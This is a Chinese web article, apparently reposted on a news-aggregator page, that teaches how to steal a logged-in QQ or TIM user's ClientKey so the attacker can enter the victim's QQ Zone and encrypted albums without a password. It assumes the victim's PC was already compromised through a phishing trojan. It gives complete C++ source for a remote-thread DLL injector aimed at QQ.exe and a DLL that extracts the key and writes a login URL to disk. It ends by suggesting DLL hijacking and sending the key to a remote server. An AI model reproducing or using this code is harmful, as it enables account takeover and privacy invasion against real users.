新资讯:怎么看qq空间加密相册,试试这个方法简单实用:技术流程图
一、前言
本文主要讲解如何窃取已登录QQ或TIM用户的ClientKey(前提是当前电脑的QQ或TIM是登录状态)
并悄无声息的获取其QQ或TIM的空间登录权限的链接,然后可以在任意一台电脑上都可以无密码登录其QQ空间,也可以查看其加密相册等。
具体的实现流程后期可以优化的更完美,因为时间原因只测试了基本功能的实现。只是提供一种思路,大家可以发散思维,把流程更加简化或自动化。
(相关资料图)
二、技术流程图
三、具体操作
CS和MSF怎样生成上线木马我就不啰嗦了,大家可自行百度无论生成什么格式的木马只要能使被攻击者上线就可以。
参考文章:
https://www.cnblogs.com/dgjnszf/p/10877999.html(PS:如果你想让不和你同一网段的人运行木马上线,你的CS应部署到公网上)然后具体的文件钓鱼过程我也不细说了,因为大家都有自己的钓鱼方式。
下面直接就从木马上线传入文件后的操作开始演示:我们需要传入的文件是一个exe一个dll
都需要传入C盘根目录且dll的名字必须命名为Dll1.dll(因为懒惰我都写死到源码中了,大家可根据源码自行修改)。
exe的作用主要是进行远程线程注入QQ.exe程序(因为便于测试,我写死的是注入QQ.exe,大家如果想注入TIM的话可自行修改)。
dllInject.exe源码
// dllInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include "pch.h"#include <iostream>#include <windows.h>#include <TlHelp32.h>#include <string.h>//这里我先写死为C:Dll1.dll#define DLL_PATH L"C:Dll1.dll" //根据进程名获取进程ID,这里我先写死为QQ.exeDWORD GetProcId() { BOOL bRet; PROCESSENTRY32 pe32; HANDLE hSnap; hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); pe32.dwSize = sizeof(pe32); bRet = Process32First(hSnap, &pe32); while (bRet) { if (lstrcmp(pe32.szExeFile,L"QQ.exe")==0) { return pe32.th32ProcessID; } bRet = Process32Next(hSnap, &pe32); } return 0;} int main(){ //0正常情况下,我们可以通过遍历进程根据进程名得到进程ID DWORD dwId = GetProcId(); //1 打开目标进程,得到句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId); //2 在目标进程中申请一块空间,能够存放下dll文件的路径 DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2; LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); //3 将dll文件的路径写入到目标进程申请的空间中 SIZE_T sSize = 0; WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, &sSize); //4 在目标进程中,创建远程线程使其能够执行LoadLibrary,参数是我们写入的dll路径 HANDLE hThread = CreateRemoteThread( hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryW, lpAddress, NULL, NULL ); //5 等待线程结束,我们释放空间 WaitForSingleObject(hThread, -1); VirtualFreeEx(hProcess, lpAddress, dwSize, NULL); //6 程序结束 CloseHandle(hThread); CloseHandle(hProcess);}
dll的作用主要是用来窃取ClientKey并存储到txt文件。
Dll1.dll源码
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include <stdio.h>#include<stdlib.h>#include<windows.h>#include <WTypes.h>//定义CTXStringW为BSTRtypedef BSTR CTXStringW;CTXStringW AllocTXString(const wchar_t* lpSrc){ if (lpSrc == NULL) return NULL; BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2]; if (bBuffer == NULL) return NULL; DWORD dwZero = 0; DWORD dwCount = 3; DWORD dwLenth = wcslen(lpSrc) + 1; memmove(bBuffer + 0 * 4, &dwZero, 4); memmove(bBuffer + 1 * 4, &dwCount, 4); memmove(bBuffer + 2 * 4, &dwLenth, 4); memmove(bBuffer + 3 * 4, &dwLenth, 4); wcscpy((wchar_t*)(bBuffer + 4 * 4), lpSrc); return CTXStringW(bBuffer + 16);}VOID Steal(){ do { HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll"); if (hKernelUtil == NULL) { OutputDebugStringA("Get KernelUtil Module failed n"); break; } PVOID PtrGetSelfUin = GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ"); if (PtrGetSelfUin == NULL) { OutputDebugStringA("Get GetSelfUin Function failed n"); break; } DWORD uin = ((int(*)(int))PtrGetSelfUin)(1); if (uin == NULL) { OutputDebugStringA("Invoke GetSelfUin Function failed n"); break; } // Print QQ number char szUin[MAX_PATH] = { 0 }; sprintf(szUin, "%d", uin); PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z"); if (GetSignature == NULL) { OutputDebugStringA("Get GetSignature Function failed n"); break; } WCHAR wsBuffer[MAX_PATH] = { 0 }; CTXStringW ClientKey = AllocTXString(wsBuffer); PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature"); if (res == NULL) { OutputDebugStringA("Invoke GetSignature Function failed n"); break; } // 复制下面链接,无需密码,进入QQ空间 char msg[MAX_PATH] = { 0 }; sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://user.qzone.qq.com/%s%/infocenter&source=panelstarn", szUin, ClientKey, szUin); OutputDebugStringA("注入成功"); //MessageBox(NULL, L"提示", L"注入成功", MB_OK); FILE *file = NULL; //定义一个文件类型(FILE)的指针并初始化; const char *FileName = "C:clientkey.txt"; file = fopen(FileName, "w+"); //调用fopen函数,将返回值赋于指针file; //if (!file) //检查文件是否打开,若打开失败,返回一条信息后,结束程序。 //{ // OutputDebugStringA("文件打开失败,请检查文件是否存在!n"); // exit(1); //} //需要写入的字符串内容。 if (!fputs(msg, file)) //调用fputs函数写入文件,不管成功或失败都会返回一条信息。 OutputDebugStringA("文件写入成功n"); fclose(file); //关闭文件。 file = NULL; //放空file指针 } while (0);}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Steal(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
传入文件之后我们使用命令行运行C盘根目录中的dllInject.exe即可实现自动注入QQ.exe程序并将窃取到的ClientKey存储到C盘根目录,名称为clientkey.txt
dbgView显示注入成功,文件写入成功。然后我们查看生成的clientkey.txt文件中的内容
复制出来在任意电脑访问即可无密码登录其QQ空间查看其加密相册的功能。
四、小结
获取的ClientKey不会因为他QQ的下线而失效,但是会有失效时间,具体是多长时间没有进行测试,大概是一天?
虽然这个方法的实战作用并不大但是大家可以参考思路改进或优化方法
比如我们可以使用dll劫持直接劫持QQ程序需要加载的DLL,用户一执行QQ就会自动加载窃取clientkey的dll,这样就免去了使用我编写的exe进行远程线程注入这一步。
又或者说是改进dll,把写入txt文件改为直接把获取到的clientkey直接发送到远程服务器上,这样就省去了读取txt文档的步骤,小弟只是提供一下基本思路,有写的不对的地方还请大佬们斧正。
标签: qq空间
相关阅读
-
新资讯:怎么看qq空间加密相册,试试这个方法简单实用:技术流程图
一、前言本文主要讲解如何窃取已登录QQ或TIM用户的ClientKey(前提是当前电脑的QQ或TIM是登录状态)并悄...
2022-11-17 -
新资讯:怎么看qq空间加密相册,试试这个方法简单实用:技术流程图
一、前言本文主要讲解如何窃取已登录QQ或TIM用户的ClientKey(前提是当前电脑的QQ或TIM是登录状态)并悄...
2022-11-17 -
天天头条:b站视频怎么保存在手机本地(b站缓存视频导入本地方法教程)
哔哩哔哩bilibili,简称B站,现为中国现代年轻高度聚集的文化社区和视频平台,早期是一个ACG(动画、漫...
2022-11-17 -
苹果电脑mac怎么解压rar文件(使用归档实用工具解压zip文件)
ZIP文件格式是一种数据压缩和文档储存的文件格式,通常使用后缀名“ zip”。当前,ZIP格式属于几种主流...
2022-11-17 -
当前热点-免费好用的视频剪辑器(在线视频制作flexclip)
推荐7款在线视频剪辑工具,不用安装就能免费用!1、在线视频制作flexclip地址:https: www flexclip...
2022-11-17 -
环球信息:最好笑的电影有哪些,推荐五部笑到肚子疼的喜剧电影 你都看过吗?
1 《太坏了》该电影把搞笑做到极致,这样的校园喜剧题材由于看得太多都不感觉新鲜了。高中毕业年纪的孩...
2022-11-17 -
即时:3d模型制作教程(三维模型设计与制作基础知识) 步骤方法发布
工具 原料安装好的3dsmax软件方法 步骤1:打开3dsmax软件,创建一个基本长方体,并将其转化为可编辑多...
2022-11-17 -
全球速读:联想电池召回计划,召回电池型号及地址 你的笔记本需要召回吗?
刚刚,联想在自家官网发布公告,称因存在安全隐患,宣布召回自2012年12月至2014年11月期间生产的,部分...
2022-11-17 -
hp1018硒鼓型号(hp1008硒鼓对应的型号)
型号适用机型惠普CC388A硒鼓惠普P1007P1008P1108P1106M1213M1136M126a惠普CE278A硒鼓惠普278aP1566P1606...
2022-11-17 -
2020手机来电铃声排行榜,81首最火又好听的手机铃声
1、Bubbly--ColbieCaillat(你听过一遍就会非常喜欢的歌); 2、Burning--MariaArredondo; 3、Ha...
2022-11-17
精彩推荐
阅读排行
相关词
- 每日精选:雅诗兰黛水润粉底液好不好用(真假辨别小方法分享)
- 每日头条!佳能相机报价及图片(佳能相机所有型号对比)
- 全球快讯:两台电脑怎么联机 两台电脑联机方法介绍
- 热资讯!佳能相机报价及图片(佳能相机所有型号大全图片)
- 惠普hp笔记本bios怎么设置 惠普hp笔记本bios设置功能介绍和方法
- 全球速读:联想电池召回计划,召回电池型号及地址 你的笔记本需要召回吗?
- 环球视讯!局域网不能访问怎么办 Win10不能无法访问局域网怎么办?
- 漫步者c2音箱怎么样(漫步者C2深度评测)
- 世界视讯!路由器网址是多少_无线路由器设置网址大全
- 世界热门:海信家电怎么样 海信家电详细介绍 海信家电价格
- 环球看热讯:在线c语言编程网站(c语言自学免费网站:W3school)
- 世界视点!微软logo设计理念(微软开发品牌四个字母)
- 天天通讯!海鸥df的报价以及介绍评测
- 环球视讯!手提电脑开不了机是什么原因 解决方法分享
- 屏幕分辨率调不了怎么办 调分辨率方法
- IE被恶意修改怎么办 IE被恶意修改的解决方法总结
- 天天快消息!不收费的相亲网站有哪些,免费相亲社交app合集
- 每日看点!松下冰箱质量怎么样 松下冰箱特点和价格
- 快报:Fn键不能用怎么办 常见Fn键不能用的原因(联想笔记本Fn键设置教程)
- hp1018硒鼓型号(hp1008硒鼓对应的型号)
- 【世界报资讯】院线电影是什么意思(院线和非院线电影区别、定义、收入结构)
- 相宜本草四倍蚕丝面膜怎么样(相宜本草四倍蚕丝系列)
- 笔记本散热哪个好 散热性能好的笔记本推荐
- 环球热推荐:什么是指纹识别
- 26个单韵母有哪些(教你认识26个单韵母)
- 世界今日讯!电脑时间不能自动更新怎么回事_电脑时间校准同步方法介绍
- 全球时讯:华硕k42jz笔记本怎么样 华硕k42jz笔记本处理器性能
- 简讯:本地连接受限制怎么办,本地连接受限制处理方法
- 当前报道:oppo手机是那个国家的品牌 R系列介绍
- 焦点播报:新买的手机怎么充电 第一次充电充多久(生活中的误区)
- WIFI密码如何破解 教你百分之百成功蹭网
- 天天热文:如何解决虚拟内存过低?虚拟内存太低怎么办?几个方法教你解决
- 环球观点:手机怎么下载电影
- 看热讯:电脑鼠标卡顿怎么办 电脑鼠标卡顿的解决方法
- 穿越火线图标怎么点亮 穿越火线点亮图标方法
- 世界实时:appsync怎么安装 appsync安装方法(前提条件)
- 每日热闻!苹果手机杀毒软件有哪些 苹果手机杀毒软件推荐(QQ手机管家)
- mp3哪款音质好 mp3音质产品对比
- 天天滚动:qq飞车如何双喷
- 焦点速讯:iPhone6多少钱?iPhone6配置了解
- 几步教会你高清电视机顶盒安装 七步就能安装
- e430拆机清灰要如何进行
- 全球新资讯:东菱料理机牌子介绍 东菱料理机好不好
- 每日速讯:ipad1怎么升级系统?三种方法搞定 快来看看
- 【全球新要闻】什么是快门式3D技术
- 环球短讯!高仿苹果手机全面介绍 (屏幕和内存)
- usb3.0兼容2.0吗 传输速度会增强吗?
- 热资讯!手机导航哪个好用?小编为你推荐好用的导航(高德地图、百度地图)
- 每日动态!如何进入dos 将c盘格式化 如何进入dos系统?
- ipod怎么越狱 ipod越狱教程(普通越狱教程)
- 索尼手机镜头哪款好 索尼手机镜头推荐
- 全球最新:富士长焦相机有什么推荐 富士长焦相机报价,谁是性价比之王
- 电视机外壳材料怎么样 abs工程塑料的性能介绍
- 通讯!苹果手机待机耗电快怎么办 省电方法大全分享
- 【天天聚看点】ipod怎么越狱 ipod越狱教程
- 全球热推荐:硕美科g927设置方法 (安装驱动)
- 喷头怎么维修 喷头保养方法介绍 值得收藏
- 华硕和联想笔记本哪个好 配置对比,更好挑选
- 天天动态:无主之地2机械术士加点
- 海尔水过滤吸尘器怎么样 值得买吗
- 世界时讯:笔记本全球排名情况(市场最受欢迎的八大品牌)
- 清明节的好词好句有哪些?清明节祭奠词大全
- 快报:sahpr是什么牌子电视
- 天天亮点!声卡驱动装不上怎么办 声卡驱动装不上解决方法
- 全球微动态丨三星盖世5参数配置 (三星盖世5的大致参数)
- 信息:苹果笔记本好用吗?苹果笔记本怎么样?(喜欢视频的朋友买哪种?)
- 有哪些3000左右的笔记本推荐 3000元左右笔记本推荐
- 如何刻录cd光盘?cd刻录失败的光盘还能用吗?
- 全球观察:诺基亚8088黄金版测评介绍 (通讯功能、拍照功能)
- 每日快看:手机流量不够怎么办?多种方法轻松解决
- 全球快看:硕美科g927设置方法
- 华硕f8s怎么样 华硕f8s参数大全(华硕f8s存储参数)
- 无线会议话筒什么品牌的好?无线会议麦克风如何选择?
- 艾利和p7音质怎么样 艾利和p7评测之性能评测
- 光盘摄像机是什么 光盘式DV的使用方法
- 全球简讯:hd6450显卡怎么样 hd6450显卡如何进行配置(基本性能参数)
- 光盘摄像机是什么
- 快消息!手机导航哪个好用?小编为你推荐好用的导航
- 戴尔超极本怎么样 戴尔超极本排行榜 相关介绍
- 即时:win7磁盘碎片整理在哪 xp磁盘清理在哪
- 没工作能贷款吗?银行贷款需要提供工作证明吗?
- 【环球快播报】索尼手机镜头哪款好 三款索尼手机镜头推荐
- 【聚看点】诺基亚8088黄金版测评介绍
- 世界上寿命最短的种子是什么?梭梭树该怎么种植?
- 环球视讯!几步教会你高清电视机顶盒安装 安装方法
- CPU风扇转速多少正常 温度和电压的问题
- 儿童节年龄规定范围是多少?儿童节当天放假吗?
- 新资讯:华硕f8s怎么样 华硕f8s参数大全
- 世界即时看!戴尔超极本怎么样 戴尔超极本排行榜
- 苹果手机待机耗电快怎么办 教你省电技巧
- 焦点速讯:华为honor是什么意思
- 世界微动态丨华硕和联想笔记本哪个好
- 全球实时:hd6450显卡怎么样 hd6450显卡如何进行配置
- 印章分类有哪些?书法印章使用常识了解一下
- 黄瓜栽培管理技术要点有哪些?黄瓜育苗技术注意事项汇总
- 直升机的发动机是什么样的?战斗机发动机是涡扇还是涡喷?
- DNF驱魔师穿什么甲?DNF驱魔师力驱好还是法驱好?
- 糖葫芦的糖怎么熬制?糖葫芦的糖怎么熬不苦?
- 电子客票如何验证?飞机票网上订票方式有哪些?
- 植物种子有哪些传播方式?靠小鸟传播种子的植物有哪些?
- 全球新资讯:王熙凤的结局是什么 《红楼梦》谁的结局最好
- 殿试由谁主持?殿试录取者称作什么?
- 不知火是什么水果?不知火什么时候成熟?
- 全球热推荐:halti是什么品牌,halti是什么国家的 你有用过吗
- 天天实时:柳龙庭是谁,《长白灵蛇传》讲述了什么
- 全球看点:阴庙是什么意思,阴庙为什么不能拜 有什么忌讳
- 【全球独家】《琅琊榜》飞流结局是什么
- 环球今亮点!《琅琊榜》飞流结局是什么 你看了吗
- 全球消息!王健林的岳父,王健林拥有多少资产 有几个儿女
- 大脸猫大脸猫爱吃鱼是什么歌,大脸猫和蓝皮鼠是哪一年的
- 全球快讯:刘羽禅7个守护灵分别是谁,刘羽禅介绍
- 世界看热讯:如懿传结局是什么
- 新资讯:火影多少集一共 什么时候出版
- 明家三兄弟是什么电视剧 《伪装者》简介
- 即时看!金铭简历及个人资料简介-金铭的身高
- 【播资讯】王熙凤的结局是什么
- 青春有你3选手名单有谁,《青春有你3》最后谁出道了
- 焦点速讯:halti是什么品牌,halti是什么国家的
- 环球资讯:金铭简历及个人资料简介-周迅张杰金铭的个人资料?
- 李达康原型 李达康是好是坏
- 虎牙陆雪琪是代打吗 虎牙陆雪琪停播原因
- 微头条丨潜伏晚秋是个什么人,《潜伏》晚秋是个共产党吗
- artsdon是什么牌子,artsdon是哪国品牌 中文名是什么
- 如懿传结局是什么 主演是谁
- 北京山顶洞人距今多久 山顶洞人是我们的祖先吗
- 焦点要闻:雪中悍刀行老黄到底死了没,雪中悍刀行结局好吗
- 天天微资讯!artsdon是什么牌子,artsdon简介
- 庆余年范闲背诵唐诗三百首是哪一集 第二部发布时间
- 每日热闻!张智霖第一任老婆-演员张智霖结果几次婚?
- 花开半夏陆元最后结局,花开半夏剧情介绍 主演是谁?
- 青春有你3选手名单有谁,《青春有你3》的介绍
- 黄志忠现任妻子柯蓝,黄志忠是做什么的
- 新资讯:长城电影票房多少亿 长城电影是谁演的
- 骆驼祥子中曹先生是怎样的人,骆驼祥子的历史背景是什么
- 全球微速讯:庆余年北齐皇帝是谁演的,庆余年有多少集
- 雪中悍刀行老黄到底死了没,老黄的实力怎么样
- 全球速递!张智霖第一任老婆-演员张智霖妻子是谁
- 环球短讯!庆余年范闲背诵唐诗三百首是哪一集
- 环球关注:明家三兄弟是什么电视剧
- 砚台的种类有哪些?各个朝代砚台的造型特点是什么?
- 三大保卫战是哪三战?蓝天保卫战主战场是哪三个?
- 地下城与勇士白手是什么职业?dnf白手怎么连招?
- dnf逆袭之谷怎么打?dnf逆转结局如何获得?
- 证券保荐人报考条件有哪些?证券保荐人考试科目是什么?
- 全球压缩机厂有哪些?国内外压缩机龙头企业一览表
- 中国电信增值业务有哪些?一类和二类增值电信业务有什么区别?
- 冰壶是什么做的?冰壶比赛时运动员为什么不停的擦地?
- 《暖雪》绝世武器图鉴&属性与神兵特效一览(3)
- 海南普通落户需要什么材料?海南落户有哪些好处?
- 西山居公益免费游戏《双相》今日上线